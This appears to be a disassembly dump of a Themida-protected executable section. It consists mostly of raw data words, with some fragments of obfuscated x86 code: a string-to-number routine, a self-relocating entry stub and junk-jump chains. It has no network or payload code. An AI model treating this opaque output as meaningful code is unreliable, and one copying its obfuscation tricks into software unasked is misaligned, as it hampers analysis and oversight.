dd 99958BC8h, 83060728h, 71DC5BDh, 840F0006h, 17Bh, 2A2D9D8Bh
dd 0BD830607h, 6074B65h, 68840F00h, 8B000001h, 72E359Dh
dd 59D8906h, 8D06072Fh, 99FA885h, 0FE906h, 0A6C10000h
dd 0E0DB6259h, 0C731727Dh, 0C08A452Eh, 12B58BE6h, 6A06074Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0CE81C353h, 60BCE59Ah, 0C246BABFh, 11958B3Bh
dd 61060709h, 6AD0FFF5h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 826FC353h, 348DC415h
dd 65D9D8Bh, 85C60607h, 60709CDh, 0A1950354h, 0E8060703h
dd 4, 0FF4EBEF4h, 0DA8A5250h, 810F310Fh, 2, 585A5A57h
dd 0A7BB6650h, 24448BF9h, 8BA0B204h, 89DE8B00h, 8B042444h
dd 0BD8958D3h, 6070439h, 59DB5FFh, 9D8B0607h, 60707C1h
dd 3963858Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 66FA61C3h, 0D0FFDF8Bh, 0BBD3BF0Fh
dd 22DED3DDh, 6651006Ah, 5A124ABAh, 8166FF6Ah, 0FF6B6DEAh
dd 0A8C0FD0h, 0E9000000h, 5, 410055F7h, 0DB5FF23h, 6A060719h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 0FB4C355h, 68Fh, 219D2900h, 33060719h, 704399Dh
dd 0DD95FF06h, 0B606072Bh, 5E91Fh, 0C5F20000h, 8BE29208h
dd 74B12B5h, 0D59D8906h, 0BA06070Bh, 7414C5EFh, 0D18D89C3h
dd 60060710h, 2609BD01h, 0B6500607h, 8B6158D8h, 70E69B5h
dd 9D8B6006h, 60728BDh, 0FF60B61h, 0F84h, 8E0F00h, 0C6000000h
dd 9D8B0006h, 6071375h, 4B1A8589h, 6A0607h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A950A6C3h
dd 0F883B2FBh, 0E7840F00h, 0BB000002h, 6D4D87FDh, 0B8h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 8BFC2363h, 706C995h, 0F88306h, 0B0840Fh
dd 0BF0F0000h, 2F883DAh, 4B850Fh, 8E90000h
dd 32000000h, 6E55AD90h, 8BB31643h, 72C719Dh, 95858D06h
dd 31060741h, 72A899Dh, 9292D06h, 9D8B0000h, 6071139h
dd 0CE850h, 0F5FE0000h, 3E133BFEh, 2742BE83h, 0A0BAA3A7h
dd 5B3422DEh, 0BA240489h, 6DFBFB0Bh, 0B8C3h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 333754C3h, 30AC0C66h, 9E950A0h, 81000000h, 0AF3477C0h
dd 0DBF69095h, 21CE95Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 1B81CC3h, 89000000h
dd 70661BDh, 9ABD8D06h, 89060741h, 70C218Dh, 0AAE906h
dd 850F0000h, 4, 55EDBA66h, 459D29h, 0F8830607h, 36850F02h
dd 81000000h, 3AF990EAh, 92BD8D51h, 80060743h, 0EE8077EAh
dd 7AE93Ch, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 0E6F874C3h, 3F883B9h, 33850Fh, 0EE90000h
dd 69000000h, 0C14D5359h, 63ED9637h, 17623DABh, 26BD8D4Dh
dd 66060745h, 31E9D98Bh, 89000000h, 72A419Dh, 68D0F06h
dd 89000000h, 701C5BDh, 5F88306h, 16850Fh, 0BA660000h
dd 0B5E98B93h, 66000000h, 0DD84F381h, 3DB52951h, 5A060712h
dd 0B9DF8B57h, 3E86D13Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 8DC35343h, 3F834186h, 79840F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0DD3EC353h, 0E280DE55h, 6A0F3095h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 37FEC357h, 370DB02Dh, 9589F372h, 6072A35h, 870FC9D1h
dd 3, 47DFB70Fh, 10E9h, 9CCC9300h, 2ADCE35Ah, 11AE1A96h
dd 99028116h, 0FF84E91Fh, 8D89FFFFh, 6070FB5h, 0F05F883h
dd 8985h, 0F98A5700h, 0D98C665Ah, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 2C35545h, 81852919h, 0F606071Eh
dd 850F04C1h, 48h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 0A1C35646h, 23A1ADE4h, 95297C66h, 607223Dh
dd 0B8h, 0DE900h, 86860000h, 9B54FFB4h, 6621085Ah, 0E93B7952h
dd 12h, 2DCFBA66h, 1FBD858Bh, 0E0FF0607h, 0FA19D29h, 0BD830607h
dd 6072BDDh, 73850F00h, 6A000001h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0C64BC350h
dd 0EE36C38Fh, 6ABA468Ch, 5024AA44h, 1A840Fh, 0E8600000h
dd 10h, 2246C578h, 0D344956Bh, 0A9BA09DFh, 0E294AF4Dh
dd 61585159h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 67D1C356h, 13E815h
dd 17EB0000h, 56912C5Ch, 0C2AAE3E8h, 791D5429h, 335805BCh
dd 0A9950111h, 5B060732h, 9CD85C6h, 0FC450607h, 0D23A4F68h
dd 9BA66DCh, 2434810Dh, 52A05326h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 90C35343h, 59DB5FFh, 0B5310607h
dd 6072299h, 0F0D9529h, 858D0607h, 6073963h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h, 6AD0FFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 65F0C4C3h, 57AA66A9h, 49BD8957h, 5B060722h, 2BDD8589h
dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 5F4C6EC3h, 8D89AFBAh, 6072BE9h, 57006A58h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 4560BCBEh, 90A78ECCh, 1F699D03h, 0BD830607h, 6074B69h
dd 61840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 2F06C353h, 9522C066h
dd 190DB5FFh, 81660607h, 0FFAFE2E2h, 72BDD95h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 20147FCBh, 0D997F7C2h, 68C0Fh, 85290000h, 607039Dh
dd 0F00F883h, 0C185h, 83D68B00h, 71319BDh, 840F0006h, 82h
dd 0AE9h, 0C8600900h, 8A2A2811h, 0E92926DFh, 12h, 0DE4B29E3h
dd 65667A45h, 0F463688Fh, 5DD9D91Dh, 0B5FF6745h, 6071319h
dd 0EC8B4FBAh, 1B834h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 80F307C3h, 0C5E9F3CEh
dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 9BD8C353h, 9985315Eh, 0F06072Fh
dd 0B5FFD9BFh, 607190Dh, 1DB19D89h, 0B5FF0607h, 607190Dh
dd 1ED9D89h, 0B5FF0607h, 6072BDDh, 1389BD89h, 8B660607h
dd 172E9DFh, 8A530000h, 6A5F5AF0h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0E033C352h
dd 0BD8341B7h, 6070581h, 0C6850F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0F0F3C352h, 5CE57ABAh, 0ED950B5Ah, 8B06071Fh, 708F995h
dd 0CD85C606h, 4D060709h, 68E0Fh, 9D090000h, 6071FEDh
dd 39633368h, 0EE8EAh, 3780000h, 44D9FEA3h, 85C9B6A7h
dd 9A5C2534h, 2B23BB66h, 2434815Ah, 4E0C159Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h, 89C7D6A9h
dd 70EFD95h, 85B5FF06h, 0B6060710h, 63858D81h, 66060739h
dd 0FFBC52BAh, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 81858977h, 89060705h
dd 729E9BDh, 0B806h, 81660000h, 89DEF7E3h, 74B12BDh, 0EE806h
dd 48420000h, 0A9C22AD0h, 0CAF81865h, 24254CBCh, 4719509h
dd 0B5A0607h, 11840FC0h, 81000000h, 0C8B0ABDAh, 3EE921h
dd 0B5290000h, 6072D51h, 2BDDB5FFh, 9D330607h, 607142Dh
dd 9FA8858Dh, 958B0609h, 60718ADh, 0BE666050h, 0CE8B3241h
dd 24048961h, 0E800Fh, 89600000h, 71331BDh, 858D8906h
dd 6106070Dh, 0BD8D5650h, 60751EBh, 775A8D8Dh, 0BCB80607h
dd 2B748323h, 0D00730CFh, 754947C8h, 83585EF8h, 71319BDh
dd 6740006h, 21518D8Bh, 0C9330607h, 0B8h, 0FC00B00h, 9984h
dd 3DBD8300h, 6071Eh, 95FF0674h, 6072B05h, 0B8h, 75C00B00h
dd 1ABD8309h, 106074Bh, 0BD830974h, 6074B1Ah, 8B0E7502h
dd 74B12B5h, 0A8858D06h, 0FF06099Fh, 2F858DD0h, 0FF060741h
dd 35BD83D0h, 2060729h, 0A58B2F75h, 607133Dh, 1319858Bh
dd 4890607h, 0E985C724h, 1060710h, 8B000000h, 74B16B5h
dd 45AD8B06h, 0B8060729h, 1, 0EB000CC2h, 0E985C700h, 1060710h
dd 8B000000h, 7133DA5h, 0C1B58B06h, 8B060706h, 72945ADh
dd 0C2C03306h, 0BD83000Ch, 60722B5h, 830F7400h, 71F21BDh
dd 6740006h, 1F2195FFh, 0B58B0607h, 6074B12h, 53006AC3h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0C406E464h, 0D7BA66C4h, 0D22BF5F9h, 137D9589h
db 7, 6
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_544036
; ---------------------------------------------------------------------------
loc_544034: ; CODE XREF: Themida_:00544039j
inc eax
inc edi
loc_544036: ; CODE XREF: Themida_:00544032j
cmp byte ptr [edi], 0
jnz short loc_544034
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_544065
; ---------------------------------------------------------------------------
loc_544042: ; CODE XREF: Themida_:00544067j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_54405A
; ---------------------------------------------------------------------------
loc_544057: ; CODE XREF: Themida_:0054405Dj
mul ebx
dec esi
loc_54405A: ; CODE XREF: Themida_:00544055j
cmp esi, 0
ja short loc_544057
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_544065: ; CODE XREF: Themida_:00544040j
or eax, eax
jnz short loc_544042
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
db 8Bh
dd 7151595h, 0D78B6606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 7AC35545h, 3A7B4F1Dh, 0BAE66B65h, 0C5296DBBh
dd 0E9C18B34h, 1ADh, 24748B60h, 247C8B24h, 80B2FC28h, 8846068Ah
dd 2BB4707h, 2000000h, 5850FD2h, 8A000000h, 0D2124616h
dd 0FFE2830Fh, 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h
dd 6A83h, 2C03300h, 5850FD2h, 8A000000h, 0D2124616h, 12A830Fh
dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah
dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 840FC013h
dd 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h, 0B8FFFFFFh
dd 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
dd 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh, 34850F00h
dd 0B9000000h, 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h
dd 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h
dd 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h, 1B9h, 0FD20200h
dd 585h, 46168A00h, 0C913D212h, 850FD202h, 5, 1246168Ah
dd 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh, 3D0000h, 0F000005h
dd 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh
dd 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFE9Bh
dd 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h, 56E88B02h
dd 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh, 247C8928h
dd 8C2611Ch, 929BA00h, 12E90000h, 0FE00021Bh, 68005AD3h
dd 3F0012FFh, 28025900h, 0FE025900h, 0C005AD3h, 5ACFh
dd 46000000h, 2000002h, 1000000h, 4000000h, 0BF000000h
dd 0FA4CC7h, 5 dup(0)
dd 610054F9h, 430054D5h, 80005453h, 0DA00544Dh, 6A0054BFh
dd 0CD005451h, 0AA00545Dh, 0DD0054F2h, 130054FCh, 0EF0054A3h
dd 7C0054F9h, 0BA005471h, 630054F7h, 0BF005459h, 7200547Dh
dd 9400546Fh, 0EB00545Ah, 8C00549Eh, 0F4005450h, 0DB0054C6h
dd 0E9005461h, 5D0054BDh, 0EA0054A7h, 1E005475h, 0DF005500h
dd 58005447h, 0FD00549Bh, 0C70054DEh, 0DC00545Bh, 0EF0054C3h
dd 520054F1h, 500054B6h, 0ED0054C8h, 5F005464h, 2E005491h
dd 6C0054BCh, 0E70054CAh, 58005457h, 0F3005453h, 6800549Ch
dd 350054A1h, 690054D7h, 4F00545Fh, 0F3005497h, 6B0054C0h
dd 450054BFh, 0B900546Eh, 0C600548Eh, 0C6005488h, 800546Ah
dd 800547Ch, 9C005495h, 790054BDh, 0D00054E4h, 570054A6h
dd 5D0054D7h, 23005459h, 6C005467h, 79005483h, 0F60054F8h
dd 0B0054B4h, 41005446h, 2800548Ah, 400548Bh, 0DD005449h
dd 0EC0054CAh, 0A40054DAh, 330054B2h, 31005483h, 3A0054E8h
dd 2D0054ADh, 9005471h, 480054DBh, 1E005501h, 0F100546Ch
dd 0EC005481h, 760054C6h, 5E00548Dh, 0AD005476h, 750054DBh
dd 150054DCh, 760054F8h, 0B2005466h, 500054BCh, 4E00547Dh
dd 77005498h, 9500545Eh, 270054CCh, 0A100548Fh, 0E6005462h
dd 6F0054D5h, 0C30054B9h, 0F6005465h, 0E60054DCh, 600054ACh
dd 0BA0054D7h, 0C60054C6h, 630054B1h, 0CC005468h, 0A1005465h
dd 7005485h, 0EA00544Bh, 54A7h, 650054D3h, 0C1005447h
dd 82005480h
dword_544450 dd 6A0054A7h, 330054D0h, 360054C3h, 0C30054F6h, 0E0005496h
; DATA XREF: ___:off_43CCF4o
dd 4E0054CEh, 7200544Fh, 8A0054A4h, 800054B4h, 3600545Eh
dd 52005485h, 4A00546Fh, 200054BAh, 160054E2h, 8F005503h
dd 85005455h, 460054B1h, 9005462h, 0B90054EAh, 340054EFh
dd 79005496h, 64005451h, 0D10054FFh, 0E50054BEh, 220054D8h
dd 620054CBh, 0A60054BCh, 2100548Ah, 6A005491h, 7F0054A9h
dd 78005467h, 3600547Ch, 0C00054B4h, 0F30054A6h, 0E00054DBh
dd 0A20054F3h, 8C0054CFh, 1A0054EEh, 0DE0054AEh, 0C100544Ah
dd 0BD0054CFh, 0F60054B4h, 950054FCh, 370054A3h, 58005499h
dd 3E005478h, 5F0054BDh, 7F005461h, 0BB005496h, 8100546Ch
dd 79005478h, 5E005470h, 4C00547Ah, 550054ABh, 2D005497h
dd 0E9005473h, 0F20054FAh, 0B00054C5h, 0E5005454h, 8500547Eh
db 95h, 54h, 0
; ---------------------------------------------------------------------------
loc_544543: ; CODE XREF: Themida_:005730FFj
; Themida_:0059D3E8j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6077D8Ch
mov eax, edi
add edi, 6077AA4h
cmp eax, [edi+2Ch]
jnz short loc_544561
jmp short loc_544574
; ---------------------------------------------------------------------------
loc_544561: ; CODE XREF: Themida_:0054455Dj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_544570
; ---------------------------------------------------------------------------
loc_54456B: ; CODE XREF: Themida_:00544572j
add [edi+ecx*4+40h], eax
dec ecx
loc_544570: ; CODE XREF: Themida_:00544569j
or ecx, ecx
jnz short loc_54456B
loc_544574: ; CODE XREF: Themida_:0054455Fj
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_544581: ; CODE XREF: Themida_:00544588j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_544581
loc_54458A: ; CODE XREF: Themida_:0054832Ej
; Themida_:0054936Fj ...
lodsb
push ebx
mov bl, 58h
xor bl, 96h
jmp loc_548C1E
; ---------------------------------------------------------------------------
dw 0FF52h
dd 8B042474h, 89522414h, 4C281E2h, 0E9000000h, 0BBD7h
; ---------------------------------------------------------------------------
loc_5445AC: ; CODE XREF: Themida_:0054B7C6j
mov [esp], ebp
push esp
pop ebp
push edx
mov edx, 962099Bh
jmp loc_549144
; ---------------------------------------------------------------------------
dd 8904EC83h, 5366240Ch, 42EF68h, 24148900h, 0C6FEF3B6h
dd 82D9E9h, 24148900h, 9CB25251h, 0B103B753h, 0E9F9282Ch
dd 0A654h, 10ECE950h, 0D4880000h, 34FFE788h, 0E9565824h
dd 839h, 0FF241C89h, 34FF2434h, 0BFE95824h, 68000022h
dd 5055h, 0BE243489h, 262A7662h, 0FFB85046h, 29FFFFFFh
dd 2610E9C6h, 575C0000h, 0C781E789h, 4, 0A8BE9h, 241C8700h
dd 2824248Bh, 0E99C2404h, 575Fh, 0DEFEA81h, 0F28124ACh
dd 3E560836h, 7954EA81h, 0E2C13D1Ch, 0BAC28106h, 1485A35h
dd 68E95AD0h, 81000096h, 4C3h, 241C8700h, 924248Bh, 2840FC0h
dd 680000A5h, 6E83h, 0A39EE9h, 4B696800h, 0C1586DE3h, 0D4803E8h
dd 2C25F44h, 63E4E9h, 81D9F700h, 52AD95F1h, 37ED81FEh
dd 1437D6Dh, 37C581CDh, 8B437D6Dh, 8953240Ch, 4C381E3h
dd 81000000h, 4C3h, 241C8700h, 0E924248Bh, 3D44h, 4BE95F66h
dd 89000040h, 0E9542414h, 0BD04h, 0F4E9E189h
db 97h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5446E3: ; CODE XREF: Themida_:00545925j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], eax
jmp loc_54E4EE
; ---------------------------------------------------------------------------
loc_5446F4: ; CODE XREF: Themida_:005490D1j
and ebx, edi
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_544881
; ---------------------------------------------------------------------------
dd 7F7BEE81h, 0BDE9E462h, 0FF000019h, 68582434h, 1638h
dd 54243489h, 9F10E9h, 24043300h, 713FE9h
db 0
; ---------------------------------------------------------------------------
loc_544731: ; CODE XREF: Themida_:00545B90j
push edi
mov edi, 41B52427h
sub eax, edi
pop edi
sub eax, 408D5AF0h
pop ebx
xchg eax, [esp]
mov esp, [esp]
push 3693h
mov [esp], ebx
jmp loc_54F5DD
; ---------------------------------------------------------------------------
db 8Fh
dd 87E92404h
db 44h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54475B: ; CODE XREF: Themida_:0054F3DBj
pop ecx
shl ebx, 7
dec ebx
jmp loc_54C71B
; ---------------------------------------------------------------------------
db 66h, 0F7h, 1Ch
dd 1BE99C24h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54476F: ; CODE XREF: Themida_:0054BC04j
push 3A96h
mov [esp], esi
mov esi, esp
add esi, 4
push eax
mov eax, 0C8241B1h
dec eax
xor eax, 13130275h
push esi
mov esi, 35C5370h
jmp loc_54E392
; ---------------------------------------------------------------------------
loc_544796: ; CODE XREF: Themida_:0054CC56j
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
pop ecx
jmp loc_5484A5
; ---------------------------------------------------------------------------
loc_5447A7: ; CODE XREF: Themida_:0054F6BDj
push ax
mov al, 8Ah
sub bl, al
jmp loc_54D46E
; ---------------------------------------------------------------------------
dw 0F581h
dd 0A0229815h, 835DE801h, 48704C0h, 0BB535C24h, 4E88661Ah
dd 4F3A6855h, 2C8B393Bh, 4C48324h, 4E9EF581h, 42E97729h
dd 66000079h, 0E9240C8Bh, 0A9DCh
; ---------------------------------------------------------------------------
loc_5447E8: ; CODE XREF: Themida_:005464E8j
mov bh, 69h
sub dh, bh
pop ebx
push ebx
mov bh, 0FFh
sub dh, bh
jmp loc_549F41
; ---------------------------------------------------------------------------
db 0BEh
dd 4, 4247401h, 22B2E9h, 0FD80E900h, 5051FFFFh, 67B3E9h
dd 7E5C100h, 0F431C581h, 0EF31CCD1h, 0E92434FFh, 96F4h
dd 53E68956h, 0A81902BBh, 2C38132h, 0E9CD57E7h, 0CCCh
; ---------------------------------------------------------------------------
loc_544838: ; CODE XREF: Themida_:00547366j
pop esp
push 3BC6h
mov [esp], esi
jmp loc_54BD23
; ---------------------------------------------------------------------------
dw 0C681h
dd 9BB9EB78h, 348BF301h, 4EC8324h, 89241489h, 4C281E2h
dd 81000000h, 4C2h, 24148700h, 8124248Bh, 2C3h, 14F0E900h
dd 14330000h, 24248B24h, 61E7E9h
db 0
; ---------------------------------------------------------------------------
loc_544881: ; CODE XREF: Themida_:00544707j
pop esp
or ebx, ebx
jnz loc_545648
push eax
jmp loc_544DB1
; ---------------------------------------------------------------------------
dd 3791BD55h, 0F581078Ah, 38E0394Ah, 0C9BE9h, 240C8B00h
dd 104C483h, 0BB535EF7h, 4, 875BDF29h, 895C243Ch, 65E9240Ch
dd 0B9000055h, 708C5D06h, 95F6E9h, 241C8B00h, 0E904C483h
dd 4862h, 4C181h, 0EC810000h, 4, 0FF240C89h, 59042474h
dd 77C0E9h, 241C8700h, 4EC835Ch, 68241C89h, 101F263Dh
dd 0E92434FFh, 0FFFFFFC5h, 1CBA52h, 0FA010000h, 348132FFh
dd 5A48BD24h, 0E9565816h, 7C7Dh
; ---------------------------------------------------------------------------
loc_54491C: ; CODE XREF: Themida_:00546A04j
pop eax
xchg ebx, [esp]
pop esp
loc_544921: ; CODE XREF: Themida_:00545422j
sub esp, 4
mov [esp], ebx
jmp loc_54905F
; ---------------------------------------------------------------------------
dd 31240433h, 4332404h, 24248B24h, 9C2424D2h, 0FFFC49E9h
dd 0F98851FFh, 88CC8850h, 8B5958E6h, 0C481241Ch, 4, 148BF788h
dd 4C48124h, 88000000h, 241C8B3Ah, 4AB9E9h
db 0
; ---------------------------------------------------------------------------
loc_544969: ; CODE XREF: Themida_:0054E6E0j
pop eax
push dword ptr [esp]
pop edx
push esi
push esp
jmp loc_547C57
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 0D3B5240Ch, 0F6E9EB28h, 810000AAh, 6E3C6EF2h
dd 2E2C17Eh, 987FE9h, 54CB6800h, 0E3E90000h, 3100007Bh
dd 243C8BF8h, 4C481h, 0C3810000h, 50D91745h, 4ADE9h, 242C8900h
dd 0A01F91BDh, 7979E92Ah, 0E9C00000h, 58F18004h, 27FAE950h
dd 0DAF70000h, 571CE9h, 2C78100h, 57000000h, 42474FFh
dd 24048F5Fh, 0D324248Bh, 0E99C243Ch, 0A316h, 5355D829h
dd 7494E9h
db 0
; ---------------------------------------------------------------------------
loc_5449F9: ; CODE XREF: Themida_:0054F137j
sub ebp, 2CA1720Fh
mov ebx, [esp]
add esp, 4
jmp loc_549D05
; ---------------------------------------------------------------------------
aZsn db 'ZИ╜',0Dh,0
dw 100h
dd 68BE05F8h, 1CE9337Eh, 8700006Ch, 248B242Ch, 0A8A5E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544A2A: ; CODE XREF: Themida_:0054B9F7j
add esp, 4
and ebx, 5DB810A2h
shl ebx, 6
xor ebx, 8040024h
push edx
mov edx, ebx
mov eax, edx
pop edx
pop ebx
jmp loc_5483E9
; ---------------------------------------------------------------------------
db 0C0h
dd 0ED8005EDh, 66EB080Eh, 81240C8Bh, 2C4h, 861DE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544A62: ; CODE XREF: Themida_:0054C157j
mov ch, bl
push ebx
jmp loc_547DB6
; ---------------------------------------------------------------------------
loc_544A6A: ; CODE XREF: Themida_:0054A826j
mov edi, 2D8755CEh
or edx, edi
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub edx, 72E842F7h
add edx, 51F3032Ah
jmp loc_54C687
; ---------------------------------------------------------------------------
db 68h, 9Dh, 2Bh
dd 4890000h, 74E95624h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544AA3: ; CODE XREF: Themida_:0054EF84j
xor edx, 47D2E9Ah
mov ecx, edx
pop edx
jmp loc_54F72B
; ---------------------------------------------------------------------------
db 54h, 5Eh, 81h
dd 4C6h, 0E7BD5500h, 8140862Eh, 0F94AA8CDh, 0EDF58113h
dd 0E953FF6Eh, 6ECBh
; ---------------------------------------------------------------------------
loc_544AD0: ; CODE XREF: Themida_:0054F010j
neg edx
dec edx
xor edx, 0D2A3942h
jmp loc_54B80C
; ---------------------------------------------------------------------------
dw 8B66h
dd 0F1682404h, 8900007Ch, 0C6E92404h, 0BF00007Ah, 2E075E41h
dd 8B5FFB29h, 23682414h, 8900000Eh, 60E92404h, 66000001h
dd 5124048Bh, 0F8E9E189h
db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544B13: ; CODE XREF: Themida_:0054CD7Bj
add edi, 4
push 3392h
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_54B610
; ---------------------------------------------------------------------------
dd 2B5700BEh, 3CE68153h, 8165233Fh, 0EE328BEEh, 0E6814643h
dd 1D133271h, 7341F681h, 0EE8163D5h, 0C439BBE0h, 95EF331h
dd 0E9E91C5Fh
db 5Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544B5B: ; CODE XREF: Themida_:0054924Cj
add ebx, ecx
jmp loc_54C970
; ---------------------------------------------------------------------------
dw 6852h
dd 75990340h, 2EAC15Ah, 4CD1E942h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_544B72: ; CODE XREF: Themida_:00546187j
pop dword ptr [esp]
pop esp
jmp loc_54D5CB
; ---------------------------------------------------------------------------
db 0BDh
dd 77045159h, 81EDD14Dh, 45F6AEF5h, 0E9EA01C8h, 3068h
dd 4FBAE95Dh, 0E3810000h, 292645D0h, 90E38143h, 4B3A4E62h
dd 2052F381h, 0A2E96B09h, 50000044h, 4055854h, 83000000h
dd 0AEE904C0h, 680000B5h, 6A2E753Bh, 6550E9h, 24043300h
dd 33240431h, 505C2404h, 0C203AFB8h, 7F7B354Bh, 0E0C13335h
dd 40D8F703h, 81E9D0F7h
db 41h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_544BEB: ; CODE XREF: Themida_:0054DA3Cj
add esi, ebx
sub esi, 3EEE7C5Bh
pop ebx
jmp loc_54D541
; ---------------------------------------------------------------------------
db 56h, 89h, 0E6h
dd 46A3BA52h, 0E281146Fh, 6BCA4A1Ah, 0E904EAC1h, 68C4h
dd 0AF78147h, 318CE1C5h, 243C8BFDh, 4C481h, 0E8010000h
dd 8161E9h, 64F78100h, 215FDC69h, 0EB815FFBh, 0E421BF7Dh
dd 455BDD89h, 4F5DED81h, 0E82915F8h, 7154055Dh, 0E9567B53h
dd 7B74h, 0C681E689h, 4, 4EE81h, 34870000h, 0E2E95C24h
dd 8900009Bh, 405E0h, 0C0830000h, 24043304h, 587EE9h
db 0
; ---------------------------------------------------------------------------
loc_544C79: ; CODE XREF: Themida_:0054A23Fj
mov eax, [esp]
add esp, 4
jmp loc_547AAD
; ---------------------------------------------------------------------------
loc_544C84: ; CODE XREF: Themida_:00549AFCj
add edi, ebx
mov ebx, [esp]
jmp loc_5486C0
; ---------------------------------------------------------------------------
aSX db ',',27h,'И╪X',0
dd 5EF32100h, 40ABF381h, 0E3814280h, 2A6E5F36h, 52AAC381h
dd 0F3813081h, 22057035h, 9308E9h
db 0
; ---------------------------------------------------------------------------
loc_544CB5: ; CODE XREF: Themida_:0054DE8Fj
xor esi, edi
pop edi
xor esi, 0D457AADCh
add edi, 38EF4552h
add edi, esi
sub edi, 38EF4552h
pop esi
jmp loc_54F51C
; ---------------------------------------------------------------------------
dw 8CB5h
dd 0D086C580h, 68ED80EDh, 0F6CBCD80h, 6CBCE9D5h, 0F3810000h
dd 262B386Ah, 0D142EB81h, 0DF014A90h, 0B10FE9h, 41B95100h
dd 8950D41Fh, 441E9CFh, 8B660000h, 8950241Ch, 0B5E952E0h
